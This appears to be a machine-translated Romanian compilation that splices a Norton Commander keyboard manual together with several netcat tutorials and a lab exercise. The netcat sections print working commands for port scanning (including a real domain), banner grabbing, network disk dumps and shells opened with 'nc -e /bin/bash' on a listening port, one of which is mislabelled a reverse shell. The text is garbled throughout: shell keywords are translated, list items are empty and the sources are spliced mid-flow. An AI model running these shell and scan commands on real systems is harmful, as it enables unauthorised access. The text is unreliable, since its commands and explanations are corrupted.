Comenzile NC de bază sunt apelate de tastele funcționale F1 - F10. O listă a acestor comenzi se află pe linia de informații de jos a ecranului.

O) Sugestie, ajutor, Ajutor, F1 (Fig. 2, 3).

Când apăsați această tastă, pe ecran apare următoarele: o scurtă descriere a sistemului Norton Commander și un sfat explicativ care descrie scopul tastelor și comenzilor.

b) meniul utilizator, Meniu, F2 (Fig. 4)

Folosind această comandă, pe ecran este apelat un meniu suplimentar creat de utilizator.

V) vizualizarea conținutului fișierului, View, F3 (Fig. 5).

Cursorul trebuie plasat pe numele fișierului al cărui conținut doriți să îl vizualizați și apăsați tasta F3. Conținutul fișierului va fi afișat pe ecranul monitorului, care poate fi văzut și citit, dar nu poate fi editat.

G) Editarea textului, Editare, F4 (Fig. 6)

Pentru a încărca un fișier în editorul Norton Commander încorporat, trebuie să indicați fișierul cu cursorul și să apăsați F4. În scopuri de editare, puteți muta cursorul folosind tastele cursor. Editorul încorporat Norton Commander poate lucra cu un fișier a cărui dimensiune nu depășește 30 KB. Pentru fișierele mari, se folosește un editor extern dacă este configurat în Norton Commander. Pentru a încărca un fișier într-un editor extern, utilizați comanda numită apăsând ALT+ F4.

d) Copierea fișierelor și directoarelor, Copiere, F5 (Fig. 7, 8, 9)

Pentru a copia un fișier, trebuie să determinați directorul în care se află (sursa) și unde va fi copiat (destinația). În panoul pasiv trebuie să deschideți directorul de destinație, iar în panoul activ - directorul sursă. În cel din urmă, trebuie să îndreptați cursorul către fișierul de copiat și să apăsați F5. În caseta de dialog care apare, după apăsarea F5, trebuie să confirmați copierea. Dacă este necesar, aici puteți corecta numele directorului de destinație sau puteți da un alt nume pentru fișierul de copiere.

Când copiați un grup de fișiere, trebuie mai întâi să le marcați deplasând cursorul pe nume fișierul doritși apăsați tasta Inserare. Numele fișierului marcat se va schimba culoarea și fundalul. Pentru a debifa fișierul în care se află cursorul, trebuie doar să apăsați din nou tasta Inserare. Copierea se face prin apăsarea tastei F5. În caseta de dialog care apare, trebuie să confirmați copierea atât a unui singur fișier, cât și a unui grup de (toate) fișiere.

Dacă trebuie să copiați toate fișierele dintr-un director, atunci pentru a le selecta trebuie doar să apăsați tasta * de pe tastatura numerică mică. Pentru a anula selecția, apăsați din nou această tastă.

Dacă trebuie să copiați toate fișierele dintr-un anumit grup, atunci pentru a le selecta trebuie doar să apăsați tasta semn unic + de pe tastatura numerică mică și în caseta de dialog care apare, selectați atributul grupului și apăsați Enter. În schimb, pentru a anula o selecție, apăsați tasta unică semn minus (-) și apăsați Enter.


Pentru a selecta invers, apăsați tasta * de pe tastatura numerică mică.

Caracteristicile grupului indicate la copiere sunt destul de multiple. Câteva exemple sunt prezentate în Tabelul 1. Tabelul 1

Bună dragă cititor X!

Cred că acest desen poate fi numit un mini-test „Ești un hacker?” Încearcă să spui asta
înseamnă acest pisoi amuzant. Ei bine, dacă încă apar dificultăți, să știi că în fața ta se află cel mai preferat lucru dintre toți oamenii avansați, într-un fel sau altul
asociat cu rețeaua și numele acesteia este Netcat.

Netcat este un utilitar care vă permite să citiți și să transferați date prin rețea
conexiuni. Cu alte cuvinte, Netcat vă permite să vă conectați la orice și să faceți orice. Netcat este absolut autosuficient dacă este utilizat corect, poate înlocui orice instrument software, inclusiv chiar și pe cele cunoscute de tine
Apache. Deci, în versiunea sa cea mai simplă, Netcat vă permite să creați conexiuni TCP și UDP de la orice port, poate „asculta” conexiunile de intrare (și puteți comanda „pisoiului” să aștepte conexiuni doar de la adresele și chiar porturile pe care le aveți specificați!), poate scana porturi, permite interogări DNS, trimite orice comenzi de la intrarea standard, poate efectua acțiuni predefinite ca răspuns la o conexiune pe care „pisoiul” o ascultă, poate face un dump Hex a datelor trimise și primite și multe, multe altele ...

Deși, cred că a fost necesar să spun încă de la început că Netcat poate face totul; iar posibilitățile de utilizare a acestuia sunt limitate doar de nivelul cunoștințelor și imaginației tale. Inițial, Netcat a fost conceput ca un utilitar Unix, dar, după cum înțelegeți, nu puteau decât să existe entuziaști care nu ar porta „pisicuța” pe Windows. Puteți găsi cu ușurință ambele versiuni în motoarele de căutare folosind interogarea „Netcat”. Dar beneficiile, desigur, merg la Unix-oids, care, atunci când sunt compilate, pot corecta ușor „pisoiul” și, prin urmare, pot activa funcțiile „funcții suplimentare” care sunt dezactivate implicit.

Dacă ați folosit vreodată „atacuri bazate pe software” sau pur și simplu ați pus exploatații, atunci probabil ați observat că mai mult de jumătate dintre ele folosesc Netcat într-un fel sau altul. Acest lucru se datorează în primul rând faptului că Netcat nu modifică niciodată datele primite în niciun fel (precum și cele de ieșire), spre deosebire, de exemplu, de un client Telnet, care interpretează mai întâi datele primite și abia apoi vi le oferă. Acesta este motivul pentru care Netcat a devenit instrument puternic căutarea și exploatarea vulnerabilităților, datorită cărora Bugtraq a fost completat cu sute de postări noi.

Dar, dacă căutarea vulnerabilităților nu este treaba dvs., puteți încerca să utilizați Netcat ca browser web sau, de exemplu, client de mail; mai ales că în Internet Explorer iar Outlook a găsit găuri „proaspete”, Unicode vechi bun, heh... Mai mult, rușii noștri s-au remarcat în acest domeniu (! Mândria națională joacă un rol!). Dacă citiți acest articol folosind Explorer, du-te și vezi cât de „măgar” ești.
găurit

După aceasta, veți trece la Netcat - nu este foarte convenabil, dar
sigur... Și, în sfârșit, exemple de utilizare „avansată” a Netcat
(Unix):

  1. Netcat place ;
  2. Netcat ca utilitar " "; acestea sunt descrise adesea în X, dar în realitate pur și simplu trimit solicitări către motoarele de căutare bine cunoscute de tine... „Pisicuța” tău poate face și această treabă utilă!;
  3. Netcat place! Faceți furnizorul să se odihnească!!!

Vă rugăm să rețineți că totul se face sub formă de scripturi shell, așa că puteți corecta orice dacă este necesar.
Pentru asta vreau să-mi iau rămas bun. Citiți manualele și mult succes în învățarea utilitarului emblematic Netcat!

P.S./Personal/: Site-ul http://georgy.h1.ru/ este închis de mine. Odată pentru totdeauna. Mulțumesc tuturor celor care mi-au fost invitați.

În acest articol mă voi uita la popularul utilitar de rețea netcat și la trucuri utile atunci când lucrez cu el.


Netcat este un utilitar Unix care vă permite să stabiliți conexiuni TCP și UDP, să primiți date de acolo și să le transmiteți. În ciuda utilității și simplității sale, mulți nu știu cum să-l folosească și îl ocolesc nemeritat.


Folosind acest utilitar, puteți efectua câțiva pași atunci când efectuați testarea de penetrare. Acest lucru poate fi util atunci când mașina atacată nu are pachete instalate (sau atrage atenția), există restricții (de exemplu, dispozitive IoT/Embedded), etc.


Ce poți face cu netcat:

  • porturi de scanare;
  • porturi direct;
  • Colectați bannere de serviciu;
  • Ascultați portul (legați pentru conexiune inversă);
  • Descărcați și încărcați fișiere;
  • Ieșire conținut HTTP brut;
  • Creați un mini-chat.

În general, cu ajutorul netcat puteți înlocui unele dintre utilitățile Unix, astfel încât acest instrument poate fi considerat un fel de combină pentru efectuarea anumitor sarcini.

Exemple practice

În multe cazuri, dacă este necesar să se verifice o anumită gazdă, aceștia folosesc telnet sau propriile servicii de servicii pentru a identifica gazda sau bannerul. Cum ne poate ajuta netcat:

Se verifică portul TCP deschis 12345

$ nc -vn 192.168.1.100 12345
nc: conectarea la 192.168.1.100 12345 (tcp) a eșuat: conexiune refuzată

$ nc -v 192.168.1.100 22
Conexiunea la portul 192.168.1.100 22 a reușit!
SSH-2.0-OpenSSH

Scanarea porturilor TCP cu netcat:

$ nc -vnz 192.168.1.100 20-24

Cu o astfel de scanare nu va exista nicio conexiune la port, ci doar o ieșire a unei conexiuni reușite:


nc: connectx la 192.168.1.100 portul 20 (tcp) a eșuat: conexiune refuzată
nc: connectx la 192.168.1.100 portul 21 (tcp) a eșuat: conexiune refuzată
a găsit 0 asociații
găsit 1 conexiuni:
1: steaguri=82
outif en0
src 192.168.1.100 portul 50168
dst 192.168.1.100 portul 22
informațiile de rang nu sunt disponibile
Informații auxiliare TCP sunt disponibile
Conexiunea la portul 22 192.168.1.100 a reușit!
nc: connectx la 192.168.1.100 portul 23 (tcp) a eșuat: conexiune refuzată
nc: connectx la 192.168.1.100 portul 24 (tcp) a eșuat: conexiune refuzată

Scanare porturi UDP.

Pentru a scana porturile UDP cu nmap, aveți nevoie de privilegii de root. Dacă nu sunt acolo, în acest caz ne poate ajuta și utilitarul netcat:


$ nc -vnzu 192.168.1.100 5550-5560
Conexiunea la portul 5555 192.168.1.100 a reușit!

Trimiterea unui pachet UDP

$ echo -n „foo” | nc -u -w1 192.168.1.100 161

Acest lucru poate fi util atunci când interacționați cu dispozitivele din rețea.

Primirea datelor pe un port UDP și ieșirea datelor primite

$ nc -u localhost 7777

După primul mesaj, ieșirea se va opri. Dacă trebuie să acceptați mai multe mesaje, trebuie să utilizați cât timp este adevărat:


$ în timp ce adevărat; do nc -u localhost 7777; făcut

Transfer de fișiere. Folosind netcat, puteți să primiți fișiere și să le transferați pe o gazdă la distanță:


nc 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact ca un simplu server web.

Netcat poate acționa ca un simplu server web pentru a afișa pagini HTML.


$ în timp ce adevărat; face nc -lp 8888< index.html; done

Folosind un browser la: http://netcat host:8888/index.html. Pentru a utiliza portul standard al serverului web numărul 80, va trebui să rulați nc cu privilegii root:


$ în timp ce adevărat; do sudo nc -lp 80< test.html; done

Chat între noduri

Pe primul nod (192.168.1.100):


$nc -lp 9000

Pe al doilea nod:


$nc 192.168.1.100 9000

După executarea comenzilor, toate caracterele introduse în fereastra terminalului pe orice nod vor apărea în fereastra terminalului celuilalt nod.

Înveliș invers

Folosind netcat puteți organiza un reverse shell convenabil:


nc -e /bin/bash -lp 4444

Acum vă puteți conecta de la gazda la distanță:


$nc 192.168.1.100 4444

Nu trebuie să renunți dacă nu ai anumite instrumente, adesea destul de greoaie, uneori problema poate fi rezolvată cu mijloace improvizate.

Instrucțiuni pentru lucrul înNortonComandant

Pentru a porni sistemul NC în linie de comandă DOS tastați comanda NC sau faceți clic stânga pe pictograma NC de pe desktopul computerului. Pentru a termina lucrul cu NC, apăsați tasta [ F10] . În caseta de dialog care apare, selectați răspunsul „Da” dacă vă deconectați de la sistem, „Nu” în caz contrar. Selectarea unei opțiuni de răspuns se face folosind tastele cursor de pe tastatura funcțională și apoi apăsând tasta [ Intră] . Partea de jos a ecranului conține linia de comandă DOS, unde puteți introduce comenzile corespunzătoare în timp ce lucrați sub control NC. Cea mai inferioară linie a ecranului conține o linie de indiciu, care indică scopul principalelor taste „hot” care corespund comenzilor NC (și DOS).

După pornirea NC, pe ecran apar două panouri - stânga și dreapta. În partea de sus a fiecărui panou, o mică fereastră dreptunghiulară arată calea completă către fișierul sau directorul curent. Panoul în care se află dreptunghiul evidențiat, cursorul, se numește activ. Pentru a trece de la panou la panou, utilizați tasta . Dacă linia de sus a panoului și imaginea sunt selectate “…” aceasta înseamnă că vă aflați în directorul cu numele afișat în partea de sus a panoului. Următoarele comenzi sunt folosite pentru a lucra cu panouri:

[ Ctrl] + [ F1] Ascunde/afișează panoul din stânga

[ Ctrl] + [ F2] Ascunde/afișează panoul din dreapta

[ Ctrl] + [ U] Schimbați panourile

[ Ctrl] + [ O] Ascunde/afișează ambele panouri

[ Ctrl] + [ P] Ascunde/afișează panoul inactiv

Pentru a schimba numele discului logic, faceți clic pe panoul din stânga [ Alt] + [ F1] , în caseta de dialog care apare, utilizați tastele cursor pentru a selecta numele discului dorit din numele propuse, apăsați tasta [ Intră] . Pentru panoul din dreapta, acțiunile sunt similare, dar la început ar trebui să faceți clic [ Alt] + [ F2] .

Pentru a accesa directorul, selectați-l pe panoul activ și apăsați tasta [ Intră] . “…” Pentru a merge la un director de nivel superior din panoul activ, selectați linia [ Intră] .

și apăsați tasta

[ FUrmătoarele comenzi sunt folosite pentru a lucra cu directoare: 7] – creați un director

[ F8] – ștergeți directorul. În caseta de dialog care apare, confirmați ștergerea sau anulați ștergerea apăsând tasta Esc.

Următoarele comenzi sunt folosite pentru a lucra cu fișiere:

[ Schimbare] + [ F4] – creați un fișier. În caseta de dialog care apare, introduceți un nou nume de fișier (nu uitați să specificați extensia). După ce este specificat numele fișierului, tastați conținutul fișierului în spațiul de lucru de pe ecran. Completați crearea fișierului cu comandă [ Ctrl] + [ Z]. Pentru a salva fișierul, apăsați tasta [ F2] . Ieșiți din modul de editare cu tasta [ F10 ] .

[ F4] – editarea unui document creat anterior. În acest caz, trebuie să specificați numele fișierului de editat în caseta de dialog. Când lucrați în modul de editare, în spațiul ecranului din partea de jos apare o linie de indiciu cu alocarea tastelor rapide în modul de editare.

[ Schimbare] + [ F2] – salvați fișierul cu un nume nou.

[ F3] – vizualizați conținutul fișierului. Pentru a face acest lucru, mai întâi selectați fișierul din panou.

[ F5] – copierea fișierului. Toate operațiunile cu fișiere și directoare sunt efectuate folosind ambele panouri. Pentru a copia un fișier, pe un panou inactiv, setați directorul în care va fi plasat fișierul copiat, mergeți la acest director. Pe panoul activ, selectați fișierul de copiat și apăsați tasta [ F5] . Pentru a confirma copierea, apăsați tasta [ Intră] , a anula - .

[ F6] – transfer/redenumire fișier. Operația este similară cu copierea. Pentru a muta un fișier, pe un panou inactiv, setați directorul în care va fi plasat fișierul și mergeți la acest director. În panoul activ, selectați fișierul de mutat și apăsați tasta [ F6] . Pentru a redenumi un fișier, specificați un nou nume de fișier în caseta de dialog adăugându-l prin pictogramă ” \ ” în indicarea căii. Este necesar să rețineți că fișierul mutat este șters din locația sa inițială.

[ F9] – accesați meniuNC.

Operațiuni de grup pe fișiere

Operațiile de copiere, mutare și ștergere pot fi efectuate pe mai multe fișiere simultan. Pentru a face acest lucru, trebuie să le marcați evidențiind-le pe panou și apăsând tasta [ Introduce] . În acest caz, fișierele selectate sunt evidențiate cu dreptunghiuri de culoare contrastantă. Pentru a elimina selecția, repetați acești pași. După procedura de selecție a fișierelor, operația necesară (copiere, mutare, ștergere) se efectuează pe grupul de fișiere ca și cum ar fi unul singur. A doua modalitate de a selecta un fișier este apăsând tasta mare gri ”+” pe tastatura cu funcții din stânga. După apăsarea acestei taste, ar trebui să specificați numele fișierului în caseta de dialog sau să specificați numele fișierelor atunci când utilizați o mască în nume: “ * ”, “ *.* ”, “ ? ”. Pentru a deselecta fișierele, utilizați tasta „-” de pe tastatura funcțională din stânga.

Meniul sistem NC

Sistemul de meniu este conceput pentru a personaliza carcasa și pentru a ușura operațiunile. Bara de meniu este apelată prin apăsarea unei taste [ F9] . Sistemul de meniuri constă dintr-o bară de meniuri și meniuri derulante. Meniul conține următoarele elemente: Dreapta Fișiere Comenzi Setări Stânga . Echipe Corect Şi Stânga determinați alegerea modului de afișare a fișierelor pe panou. Toate opțiunile de comandă pentru panourile din stânga și din dreapta sunt identice. Echipă Fișiere concepute pentru a efectua operațiuni asupra fișierelor și directoarelor. Element de meniu Echipe este destinat executării comenzilor suplimentare. Echipă Setări este destinat configurarii mediului NC. Selectarea comenzii corespunzătoare se face folosind tastele cursor și apoi apăsând [ Intră].

Element de meniu Stânga (Dreapta).

Meniul derulant al acestei comenzi conține opțiuni pentru selectarea formatului de afișare a fișierului pe ecran. În modul Scurt Panoul afișează numai nume de fișiere și directoare. În modul Deplin Este afișat numele fișierului sau directorului, pentru un fișier este indicată dimensiunea acestuia, pentru un director - șirul „subdirector”, data și ora creării fișierului și directorului. În modul Copac Puteți afișa arborele de directoare al unității curente și puteți utiliza cursorul pentru a găsi rapid fișierul necesar, deplasându-vă prin arbore. Următorul grup de opțiuni pentru acest element de meniu determină ordinea în care fișierele sunt afișate pe panou. În acest caz, fișierele pot fi aranjate în orice ordine - mod Fără sortare , dar poate fi aranjat într-o anumită ordine: Nume - după nume în ordine alfabetică, Extensie – prin extensie în ordine alfabetică, Timp – după data creării, cu fișierele cu ultimele date de creare situate la începutul listei, Dimensiune – după dimensiunea fișierului în ordine descrescătoare.

Element de meniu Fișiere .

Selectarea liniei modului corespunzător este efectuată de cursor și setarea casetei de selectare folosind bara de spațiu. [ F1] - [ F8] Meniul derulant al acestei comenzi conține o descriere a scopului tastelor rapide [ F9] , adică Acțiunile tastelor rapide sunt duplicate de comenzile din meniu. Următoarea opțiune este Set Attributes. Atributele sunt setate numai pentru fișiere. Ordinea de setare a atributelor este următoarea: selectați un fișier cu cursorul pe panou. După aceasta, apăsând tasta Fișiere accesați meniul NC și selectați elementul Instalare atribute [ Intră] . După apăsarea tastei În caseta de dialog apare o listă de atribute posibile: Numai citire, Arhivă, Ascuns, Sistem Numai citire nu poate fi modificat și este disponibil doar pentru vizualizare. Fișier cu atribute Ascuns pe panou este marcat cu un mic dreptunghi evidențiat (dacă opțiunea nu este setată în setările ecranului Afișează fișierele ascunse Numele fișierului nu este afișat deloc pe panou). Următorul grup de comenzi vă permite să selectați fișiere (similar cu tasta mare gri ”+” ), deselectați (analog cu cheia ” - ” de pe tastatura cu funcții), inversați selecția (analog cu ” * ” pe tastatura de funcții).

Element de meniu Echipe .

Meniul derulant al acestei comenzi vă permite să creați un meniu utilizator, să editați acest meniu, să vizualizați istoricul comenzilor introduse la linia de comandă DOS și conține alte caracteristici suplimentare ale shell-ului NC.

Element de meniu Setări.

Meniul derulant al acestei comenzi vă permite să configurați mediul de interfață într-un mod ușor de utilizat. Conține opțiunea Setări Editor si altele. Când selectați bara de meniu Setări, se deschide un set de casete de dialog care vă permit să selectați un set de culori pentru ecran, să setați numărul de linii de pe ecran etc. Caseta de dialog Setări panou permite Afișează fișierele ascunse, dacă caseta de selectare corespunzătoare este bifată (sau nu se afișează). Verificarea casetelor de opțiuni corespunzătoare se face și folosind cursorul și bara de spațiu.

Sarcina de laborator

Afișarea unei pagini HTML de test la un client cu un browser obișnuit cu o singură comandă (port 8080):
(echo -e „HTTP/1.1 200 OK\nContent-Type: text/html\n\n Hello World”;) | nc -vv -l -p 8080
Transferarea unui fișier către un client cu un browser obișnuit cu o singură comandă (port 8080):
(echo -e „HTTP/1.1 200\nDispoziție de conținut: atașament; nume fișier=nume-țintă-care-client-va-vadă\nTip de conținut: aplicație/flux-octet\nConexiune: închidere\n"; nume fișier pisică- pe disc) | nc -vv -l -p 8080

Cum se folosește nc?

(http://handynotes.ru/2010/01/unix-utility-netcat.html )

Să începem cu câteva exemple simple și apoi să le folosim ca pe cele de bază.
Dacă vă amintiți, am spus că netcat este un cuțit elvețian.

Ce ar fi acest cuțit dacă nu ar putea fi folosit ca un cuțit obișnuit? Acesta este motivul pentru care netcat poate fi folosit în loc de telnet obișnuit:

$nc www.google.com 80
Puteți adăuga opțiunea -v pentru a afișa rezultatele acțiunilor mai detaliat și opțiunea (-vv) pentru a obține statistici despre câți octeți au fost transferați în timpul sesiunii curente de conexiune.
Netcat poate fi folosit ca server. Dacă îl rulați ca mai jos, va asculta pe portul 12345 (pe toate interfețele):

$ nc -l -p 12345

Acum, dacă vă conectați la portul 12345 al acestei gazde, tot ceea ce introduceți va fi trimis la distanță, ceea ce ne spune că netcat poate fi folosit ca server de chat. Rulați pe unul dintre computere:

# Pe computerul A cu IP 10.10.10.10
$ nc -l -p 12345

Și conectați-vă la el de la altul:

# Pe computerul B
$nc 10.10.10.10 12345

Acum ambele părți pot vorbi!
Acest mod de a vorbi, în care ambele părți pot vorbi între ele, face posibilă utilizarea nc pentru operațiuni I/O prin rețea! De exemplu, puteți trimite un director întreg de la un computer la altul rulând o conductă tar prin nc pe primul computer și redirecționând rezultatul către un alt proces tar pe al doilea.
Să presupunem că doriți să trimiteți fișiere din directorul /data al computerului A cu IP 192.168.1.10 către computerul B (cu orice IP). Este simplu:


$tar -cf - /data | nc -l -p 6666


# Pe computerul B
$nc 192.168.1.10 6666 | tar -xf -

Nu uitați să combinați pipeline-ul cu Pipe Viewer, care a fost descris în articolul anterior, pentru a vedea statistici despre cât de repede are loc transferul!
Un singur fișier poate fi trimis mai simplu:

# Pe computerul A cu IP 192.168.1.10
$ fisier pisica | nc -l -p 6666


# Pe computerul B
$nc 192.168.1.10 6666 > fisier

Puteți chiar să copiați și să restaurați un întreg disc folosind nc:

# Pe computerul A cu IP 192.168.1.10
$ cat /dev/hdb | nc -l -p 6666


# Pe computerul B
$ nc 192.168.1.10 6666 > /dev/hdb

Notă: opțiunea „-l” nu poate fi utilizată împreună cu „-p” pe computerele Mac! Soluția este să înlocuiți pur și simplu „-l -p 6666? la „-l 6666?. Ca aici:

# acum nc ascultă pe portul 6666 pentru computerele Mac
$nc -l 6666

O utilizare comună a netcat este scanarea portului. Netcat nu este cel mai bun instrument pentru acest tip de muncă, dar își face treaba (cel mai bun, desigur, este nmap):

$ nc -v -n -z -w 1 192.168.1.2 1-1000
(NECUNOSCUT) 445 (microsoft-ds) deschis
(NECUNOSCUT) 139 (netbios-ssn) deschis
(NECUNOSCUT) 111 (sunrpc) deschis
(NECUNOSCUT) 80 (www) deschis
(NECUNOSCUT) 25 (smtp) : Conexiune a expirat
(NECUNOSCUT) 22 (ssh) deschis

Opțiunea -n previne căutările DNS, -z nu așteaptă un răspuns de la server și -w 1? setează timpul de expirare a conexiunii la 1 secundă.
O altă utilizare non-trivială a netcat este ca proxy. Atât portul, cât și gazda pot fi redirecționate. Uită-te la acest exemplu:

$ nc -l -p 12345 | nc www.google.com 80

Această comandă rulează nc pe portul 1234 și redirecționează toate conexiunile către google.com:80. Dacă vă conectați acum la acest computer pe portul 12345 și faceți o solicitare, veți constata că nu primiți nicio dată ca răspuns. Acest lucru este corect deoarece nu am stabilit un canal bidirecțional. Dacă adăugați un al doilea canal, veți primi datele pe un alt port:

$ nc -l -p 12345 | nc www.google.com 80 | nc -l -p 12346

După ce trimiteți o solicitare la portul 12345, primiți datele de răspuns pe portul 12346.
Probabil cea mai puternică caracteristică a netcat este de a rula orice proces ca server:

$ nc -l -p 12345 -e /bin/bash

Opțiunea -e face ca intrarea și ieșirea să fie redirecționate prin soclul de rețea. Acum, dacă vă conectați la gazdă pe portul 12345, puteți utiliza bash:
$nc localhost 12345
ls-las
total 4288
4 drwxr-xr-x 15 utilizatori pkrumins 4096 2009-02-17 07:47 .
4 drwxr-xr-x 4 utilizatori pkrumins 4096 2009-01-18 21:22 ..
8 -rw——- 1 utilizatori pkrumins 8192 2009-02-16 19:30 .bash_history
4 -rw-r—r— 1 utilizatori pkrumins 220 2009-01-18 21:04 .bash_logout

(http://execbit.ru/2011/05/23/netcat/)
1 Transferați fișiere (executăm prima comandă pe mașina care primește, a doua pe mașina expeditoare:

$ nc -l 31334 > nume de fișier $ nc 172.16.69.143 31334< filename

$ nc -f /var/log/messages | nc -l 31334 $ nc 172.16.69.143 31334

3 Utilizați în loc de telnet (primul este serverul telnet, al doilea este clientul):

$ nc -l -p 31334 -e /bin/sh $ nc 172.16.69.143 31334

4 Scanați către porturi deschise:

$ nc -z execbit.ru 1-1024

5 servicii de amprentă digitală bazate pe bannere:

$ echo „ÎȘIȚI” | nc execbit.ru 1-1024

6 Organizați un shell invers (primul este clientul, al doilea este serverul, dar shell-ul se va deschide de la server la client).